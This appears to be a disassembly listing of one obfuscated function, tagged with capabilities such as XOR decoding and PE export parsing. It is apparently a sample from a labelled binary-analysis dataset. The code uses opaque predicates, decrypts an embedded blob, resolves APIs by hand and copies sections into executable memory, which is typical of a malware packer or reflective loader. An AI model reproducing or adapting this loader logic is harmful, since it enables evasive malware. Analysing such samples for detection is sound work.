Function at 0x180001090
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010c2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010c2
nop
jmp 0x1800010c0
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001102
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001102
nop
jmp 0x180001100
lea r8, section..data
cmp edi, 0xa
jl 0x18000111d
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001540
mov r10b, byte [section..data]
mov byte [rdx], r10b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001177
test ecx, ecx
je 0x180001177
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r11b
cmp ebx, 0xa
setl al
or al, r11b
nop word [rax + rax]
test al, al
je 0x180001170
mov byte [rdx], r10b
cmp ebx, 0xa
jl 0x180001184
test ecx, ecx
jne 0x180001540
mov r10b, byte [0x180004001]
mov byte [rdx + 1], r10b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x1800011d8
test ecx, ecx
je 0x1800011d8
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r11b
cmp ebx, 0xa
setl al
or al, r11b
nop
test al, al
je 0x1800011d0
mov byte [rdx + 1], r10b
cmp ebx, 0xa
jl 0x1800011e5
test ecx, ecx
jne 0x180001540
mov r10b, byte [0x180004002]
mov byte [rdx + 2], r10b
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001238
test ecx, ecx
je 0x180001238
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r11b
cmp ebx, 0xa
setl al
or al, r11b
test al, al
je 0x180001230
mov byte [rdx + 2], r10b
cmp ebx, 0xa
jl 0x180001245
test ecx, ecx
jne 0x180001540
mov al, byte [0x180004003]
mov byte [rdx + 3], al
mov esi, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
cmp edi, 0xa
jl 0x180001297
test ecx, ecx
je 0x180001297
mov esi, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
sete r10b
cmp edi, 0xa
setl bl
or bl, r10b
nop
test bl, bl
je 0x180001290
mov byte [rdx + 3], al
cmp edi, 0xa
jl 0x1800012a4
test ecx, ecx
jne 0x180001540
cmp dword [0x180020a6c], 0xa
jl 0x180001562
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001562
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
cmp edi, 0xa
jl 0x1800012ea
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001550
mov r9d, 3
mov rcx, r8
mov al, byte [r8]
jmp 0x180001300
mov al, byte [rcx]
nop word [rax + rax]
mov byte [rdx], al
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp edi, 0xa
jl 0x180001320
test esi, esi
jne 0x180001300
cmp edi, 0xa
jl 0x18000132d
test esi, esi
jne 0x180001530
add rdx, 1
add rcx, 1
sub r9, 1
jae 0x1800012f8
cmp edi, 0xa
jl 0x18000134f
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001560
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001394
test eax, eax
je 0x180001394
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop dword [rax]
test dl, dl
je 0x180001390
cmp ecx, 0xa
jl 0x1800013a1
test eax, eax
jne 0x180001520
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800013e4
test eax, eax
je 0x1800013e4
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop
test dl, dl
je 0x1800013e0
cmp ecx, 0xa
jl 0x1800013f1
test eax, eax
jne 0x180001520
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001434
test eax, eax
je 0x180001434
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
nop
test dl, dl
je 0x180001430
cmp ecx, 0xa
jl 0x180001441
test eax, eax
jne 0x180001520
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp edi, 0xa
jl 0x180001484
test eax, eax
je 0x180001484
mov ebx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
sete dl
cmp edi, 0xa
setl cl
or cl, dl
nop
test cl, cl
je 0x180001480
cmp edi, 0xa
jl 0x180001491
test eax, eax
jne 0x180001520
mov eax, 0x10
call entry0
sub rsp, rax
mov rdx, rsp
cmp dword [0x180020a6c], 0xa
jl 0x1800014e7
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014e7
mov r9d, 3
mov rcx, r8
cmp edi, 0xa
jl 0x1800012f8
lea eax, [rbx - 1]
imul eax, ebx
mov r9d, 3
mov rcx, r8
and eax, 1
je 0x1800012f8
jmp 0x180001550
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp edi, 0xa
jl 0x180001109
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001109
jmp 0x180001100
jmp 0x180001520
jmp 0x180001530
jmp 0x180001540
jmp 0x180001550
jmp 0x180001560
mov r12d, dword [rdx]
test r12, r12
je 0x1800016df
xor ecx, ecx
cmp r12d, 0x10
jb 0x180001659
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x180001659
mov ecx, r12d
and ecx, 0xfffffff0
lea rdx, [rcx - 0x10]
mov rax, rdx
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rdx, rdx
je 0x18000161b
mov rbx, r8
sub rbx, rax
xor eax, eax
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, eax
and edx, 0x3e0
movups xmm1, xmmword [rdx + r10 + 4]
movups xmm2, xmmword [rax + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rax + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rax + r10 + 0x404], xmm2
lea edx, [rax + 0x10]
and edx, 0x3f0
movups xmm2, xmmword [rdx + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rax + r10 + 0x414], xmm1
add rax, 0x20
add rbx, 2
jne 0x1800015c2
jmp 0x18000161d
xor eax, eax
test r8, r8
je 0x180001650
mov edx, eax
and edx, 0x3f0
lea rbx, section..data
movups xmm0, xmmword [rdx + rbx + 4]
movups xmm1, xmmword [rax + rbx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rax + rbx + 0x404], xmm1
cmp rcx, r12
je 0x1800016df
mov rax, rcx
not rax
test r12b, 1
je 0x18000168d
mov edx, ecx
and edx, 0x3f0
lea rbx, section..data
mov dl, byte [rdx + rbx + 4]
xor dl, byte [rcx + rbx + 0x404]
xor dl, 0xc
mov byte [rcx + rbx + 0x404], dl
or rcx, 1
add rax, r12
je 0x1800016df
lea rax, section..data
mov edx, ecx
and edx, 0x3ff
movzx edx, byte [rdx + rax + 4]
xor dl, byte [rcx + rax + 0x404]
xor dl, 0xc
mov byte [rcx + rax + 0x404], dl
lea edx, [rcx + 1]
and edx, 0x3ff
movzx edx, byte [rdx + rax + 4]
xor dl, byte [rcx + rax + 0x405]
xor dl, 0xc
mov byte [rcx + rax + 0x405], dl
add rcx, 2
cmp r12, rcx
jne 0x180001699
cmp edi, 0xa
jl 0x1800016f2
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
je 0x1800016f2
nop
jmp 0x1800016f0
lea rsi, section..data
lea r13, [r12 + rsi]
add r13, 0x404
mov dl, byte [r13]
mov byte [r9], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001729
test eax, eax
jne 0x180001708
cmp ecx, 0xa
jl 0x180001736
test eax, eax
jne 0x180001b30
mov dl, byte [r13 + 1]
mov byte [r9 + 1], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x18000175c
test eax, eax
jne 0x18000173a
cmp ecx, 0xa
jl 0x180001769
test eax, eax
jne 0x180001b30
mov dl, byte [r13 + 2]
mov byte [r9 + 2], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x18000178f
test eax, eax
jne 0x18000176d
cmp ecx, 0xa
jl 0x18000179c
test eax, eax
jne 0x180001b30
mov al, byte [r13 + 3]
mov byte [r9 + 3], al
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1800017c2
test ebx, ebx
jne 0x1800017a0
cmp edx, 0xa
jl 0x1800017cf
test ebx, ebx
jne 0x180001b30
cmp dword [0x180020a6c], 0xa
jl 0x180001b52
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001b52
cmp edx, 0xa
jl 0x180001805
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001b40
mov dl, byte [r12 + rsi + 0x404]
mov byte [r9], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x18000182e
test eax, eax
jne 0x18000180d
cmp ecx, 0xa
jl 0x18000183b
test eax, eax
jne 0x180001b10
mov al, byte [r12 + rsi + 0x405]
mov byte [r9 + 1], al
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x18000188f
test ecx, ecx
je 0x18000188f
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x180001887
mov byte [r9 + 1], al
cmp edx, 0xa
jl 0x18000189c
test ecx, ecx
jne 0x180001b10
mov al, byte [r12 + rsi + 0x406]
mov byte [r9 + 2], al
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800018f0
test ecx, ecx
je 0x1800018f0
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x1800018e8
mov byte [r9 + 2], al
cmp edx, 0xa
jl 0x1800018fd
test ecx, ecx
jne 0x180001b10
mov r8b, byte [r12 + rsi + 0x407]
mov byte [r9 + 3], r8b
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x180001951
test ebx, ebx
je 0x180001951
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete r10b
cmp edx, 0xa
setl al
or al, r10b
test al, al
je 0x180001949
mov byte [r9 + 3], r8b
cmp edx, 0xa
jl 0x18000195e
test ebx, ebx
jne 0x180001b10
cmp edx, 0xa
jl 0x180001972
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001b50
mov dl, byte [r12 + rsi + 0x404]
mov byte [r9], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x18000199b
test eax, eax
jne 0x18000197a
cmp ecx, 0xa
jl 0x1800019a8
test eax, eax
jne 0x180001b20
mov al, byte [r12 + rsi + 0x405]
mov byte [r9 + 1], al
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800019fc
test ecx, ecx
je 0x1800019fc
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x1800019f4
mov byte [r9 + 1], al
cmp edx, 0xa
jl 0x180001a09
test ecx, ecx
jne 0x180001b20
mov al, byte [r12 + rsi + 0x406]
mov byte [r9 + 2], al
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x180001a5d
test ecx, ecx
je 0x180001a5d
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x180001a55
mov byte [r9 + 2], al
cmp edx, 0xa
jl 0x180001a6a
test ecx, ecx
jne 0x180001b20
mov r8b, byte [r12 + rsi + 0x407]
mov byte [r9 + 3], r8b
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x180001abe
test ebx, ebx
je 0x180001abe
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete r10b
cmp edx, 0xa
setl al
or al, r10b
test al, al
je 0x180001ab6
mov byte [r9 + 3], r8b
cmp edx, 0xa
jl 0x180001ac7
test ebx, ebx
jne 0x180001b20
cmp dword [0x180020a6c], 0xa
jl 0x180001ae5
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
jne 0x1800017f1
cmp edx, 0xa
jl 0x180001704
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180001704
jmp 0x1800016f0
jmp 0x180001b10
jmp 0x180001b20
jmp 0x180001b30
jmp 0x180001b40
jmp 0x180001b50
add r13, 4
mov r9d, dword [r9]
test r9, r9
je 0x180001cae
xor ecx, ecx
cmp r9d, 0x20
jb 0x180001c8b
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001c8b
lea rcx, [r12 + rsi]
add rcx, 0x408
lea rdx, [r9 + rsi]
add rdx, 4
cmp rcx, rdx
jae 0x180001bb8
lea rcx, [r9 + r12]
add rcx, rsi
add rcx, 0x408
lea rdx, str.ZJhfwntmJoMGeyxpiamukWXMLyXCFtdonpzRnEteZZCvzUdgwodpGggwvgBLPpmDcgUoKljsrHYwEmQzwwyggyBEMRADUMUmQvLWBTQKEYblroiMYnMjwujnFdCKEsMmHyJTyDLJilbbeCCFVGxXLdGzAUebWfbDQkIYfjcoHnZqfwZMSyUFbzuPFYoCTnxGjFVPtUnZpBnnzhXQZpggmdDflbgeKZoQOKqeKKyKYCvKqKXUiJybJxjposodkKouMjgoqznqhuQmZazBTTEIFiTmsSpjYlnJWksDtwKGALDhQKHmlArbBBllkwtPYfyvLCLPWawwsQDSxtZyZBQSaLSaHjdziSOlohOATcfygyZCeqcgDnxaUnVpkKgcPHxoOuoaDKRVTfIIFMWdBMXIvvCMbIfXcjviDRpMKAPTQJTLxIMgBAIGoUYZUtRszpyVKdGVVMhypQadSUFAXksWbHQcLhtJEnAaRMusHdfmRdnHxfIzjCyoEZPyeuDAJIxukjvjRXuJCjhirocMtTOgpCgnKJdibWiZnJpikhJmmyuAuMWtoakespCqVdiFnmFGeIWPXSorQQbqZhZXPvcauBRzJIECSjkgtFYmhyvopgpSQYXbviRWvSlhjoJuOIVLzFpvkrrWwxnGZaZDtpTfqLzCHKInptJHvqhvxAsbcVkTzuSAWeJYTvwZZrxXFuBEQwtCIZOoFilYLEpoBLGkldTeOgnxQDyFVpnPWyvTnagcyUdjqFpFzcGaIIbBTfZqGnOsnFfVLmCWvuwByGbofHCUccBDibgKdpfjdQjYYprGeCJDwPXyuyZMsALLWlXptyPSGRbDYjgVxHIbikXiFWqeJRvpQSzZUTFHhMblwZQGrOiAqzjYUMVTrsFQSWThfkDHHYDrkRdZzsBiKUCpLBlAIcgbapihGLzdimdqkYqMBIFBPLOlCigtLWASbHxnmRXOZFxydKMAZooIFUnaHSDMJefXJxXLQVnXtzIhCVsyKfwzuTMFljAXskyhDDk
cmp rcx, rdx
jbe 0x180001bb8
xor ecx, ecx
jmp 0x180001c8b
mov ecx, r9d
and ecx, 0xffffffe0
lea rbx, [rcx - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001c4f
lea rdi, [r12 + rsi]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor eax, eax
mov edx, eax
and edx, 0x3c0
movups xmm0, xmmword [rdx + rsi + 4]
movups xmm1, xmmword [rdx + rsi + 0x14]
movups xmm2, xmmword [rdi + rax - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rax - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rax - 0x10]
movups xmm3, xmmword [rdi + rax]
movups xmmword [rdi + rax - 0x30], xmm2
movups xmmword [rdi + rax - 0x20], xmm0
lea edx, [rax + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + rsi + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + rsi + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rax - 0x10], xmm0
movups xmmword [rdi + rax], xmm1
add rax, 0x40
add rbx, 2
jne 0x180001bec
jmp 0x180001c51
xor eax, eax
test r8, r8
je 0x180001c86
mov edx, eax
and edx, 0x3e0
movups xmm0, xmmword [rdx + rsi + 4]
movups xmm1, xmmword [rdx + rsi + 0x14]
movups xmm2, xmmword [r13 + rax]
xorps xmm2, xmm0
movups xmm0, xmmword [r13 + rax + 0x10]
xorps xmm0, xmm1
movups xmmword [r13 + rax], xmm2
movups xmmword [r13 + rax + 0x10], xmm0
cmp rcx, r9
je 0x180001cae
lea rdx, [r12 + rsi]
add rdx, 0x408
mov eax, ecx
and eax, 0x3ff
movzx eax, byte [rax + rsi + 4]
xor byte [rdx + rcx], al
add rcx, 1
cmp rcx, r9
jb 0x180001c96
movsxd rax, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
jl 0x180001cd2
mov ecx, dword [0x180020a80]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001cd2
nop
jmp 0x180001cd0
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001cd2
add rax, rsi
add rax, 0x404
mov qword [rbp], rax
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001ced
mov r15, r14
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001cfa
mov qword [rbp - 0x20], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001d08
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001d15
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001d21
sub rsp, 0x20
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d59
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001d59
jmp 0x180001d57
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov eax, dword [r9 + rcx + 0x1c]
mov qword [rbp - 8], rax
cmp dword [0x180020a8c], 0xa
jl 0x180001d8a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001d8a
jmp 0x180001d88
add qword [rbp - 8], r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rcx, r14
movzx eax, byte [rcx]
movzx r8d, byte [rdx]
test al, al
je 0x180001dbf
add rcx, 1
add rdx, 1
cmp al, r8b
je 0x180001da7
cmp al, r8b
je 0x180001dce
add r11, 4
add r10, 2
jmp 0x180001d9e
movzx eax, word [r10]
mov rcx, qword [rbp - 8]
mov eax, dword [rcx + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e09
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e09
jmp 0x180001e07
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e36
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001e36
jmp 0x180001e34
add r8, r10
mov r11d, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add r11, r10
add r9, r10
mov eax, dword [r11]
add rax, r10
mov rbx, r15
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001e68
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001e52
cmp cl, dl
je 0x180001e76
add r11, 4
add r9, 2
jmp 0x180001e49
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, r13
call fcn.180002a60
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ed7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ed7
jmp 0x180001ed5
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f04
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001f04
jmp 0x180001f02
add r8, r10
mov r11d, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add r11, r10
add r9, r10
lea rdi, [r12 + rsi]
add rdi, 0x408
mov eax, dword [r11]
add rax, r10
xor ebx, ebx
movzx ecx, byte [rdi + rbx]
movzx edx, byte [rax + rbx]
test cl, cl
je 0x180001f3e
add rbx, 1
cmp cl, dl
je 0x180001f2a
cmp cl, dl
je 0x180001f4c
add r11, 4
add r9, 2
jmp 0x180001f22
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r12, rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ebx, 0xa
jl 0x180001f9a
test eax, eax
je 0x180001f9a
jmp 0x180001f98
cmp ebx, 0xa
jl 0x180001fa5
test eax, eax
je 0x180001fa5
jmp 0x180001fa3
mov rax, qword [rbp]
lea r8, [rax + 0x108]
xor r9d, r9d
mov rax, qword [rbp]
movzx eax, word [rax + 6]
cmp r9, rax
jae 0x18000228f
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
cmp edi, 0xa
jl 0x180001ff0
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002285
cmp edi, 0xa
jl 0x180002004
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000227d
mov r11d, dword [r10 + 4]
test r11, r11
je 0x18000206d
mov ebx, dword [r10]
add rbx, r12
mov eax, dword [r10 + 8]
lea rcx, [rax + rsi]
add rcx, 0x404
jmp 0x180002035
add r11, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test r11, r11
je 0x18000206d
movzx eax, byte [rcx]
mov byte [rbx], al
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x18000205f
test edx, edx
je 0x18000205f
movzx eax, byte [rcx]
mov byte [rbx], al
jmp 0x180002035
cmp edi, 0xa
jl 0x180002024
test edx, edx
je 0x180002024
jmp 0x18000227d
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp ebx, 0xa
jl 0x180002263
test ecx, ecx
je 0x180002263
cmp edi, 0xa
jl 0x1800020a7
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002289
mov r11d, dword [r10 + 4]
test r11, r11
je 0x180002110
mov eax, dword [r10 + 8]
lea rcx, [rax + rsi]
add rcx, 0x404
mov ebx, dword [r10]
add rbx, r12
jmp 0x1800020d8
add r11, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test r11, r11
je 0x180002110
movzx eax, byte [rcx]
mov byte [rbx], al
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180002102
test edx, edx
je 0x180002102
movzx eax, byte [rcx]
mov byte [rbx], al
jmp 0x1800020d8
cmp edi, 0xa
jl 0x1800020c7
test edx, edx
je 0x1800020c7
jmp 0x180002281
cmp dword [0x180020a6c], 0xa
jl 0x18000212e
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000228d
cmp edi, 0xa
jl 0x180002142
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002287
cmp edi, 0xa
jl 0x180002156
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000227f
mov r11d, dword [r10 + 4]
test r11, r11
je 0x1800021bf
mov ebx, dword [r10]
add rbx, r12
mov eax, dword [r10 + 8]
lea rcx, [rax + rsi]
add rcx, 0x404
jmp 0x180002187
add r11, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test r11, r11
je 0x1800021bf
movzx eax, byte [rcx]
mov byte [rbx], al
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x1800021b1
test edx, edx
je 0x1800021b1
movzx eax, byte [rcx]
mov byte [rbx], al
jmp 0x180002187
cmp edi, 0xa
jl 0x180002176
test edx, edx
je 0x180002176
jmp 0x18000227f
cmp dword [0x180020a6c], 0xa
jl 0x180001fdc
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001fdc
cmp edi, 0xa
jl 0x1800021f5
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000228b
mov r11d, dword [r10 + 4]
test r11, r11
je 0x18000212e
mov eax, dword [r10 + 8]
lea rbx, [rax + rsi]
add rbx, 0x404
mov ecx, dword [r10]
add rcx, r12
jmp 0x18000222e
add r11, 0xffffffffffffffff
add rcx, 1
add rbx, 1
test r11, r11
je 0x18000212e
movzx eax, byte [rbx]
mov byte [rcx], al
mov eax, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180002258
test edx, edx
je 0x180002258
movzx eax, byte [rbx]
mov byte [rcx], al
jmp 0x18000222e
cmp edi, 0xa
jl 0x180002219
test edx, edx
je 0x180002219
jmp 0x180002283
add r9, 1
cmp ebx, 0xa
jl 0x180001fb3
test ecx, ecx
je 0x180001fb3
jmp 0x180001fa3
jmp 0x18000227d
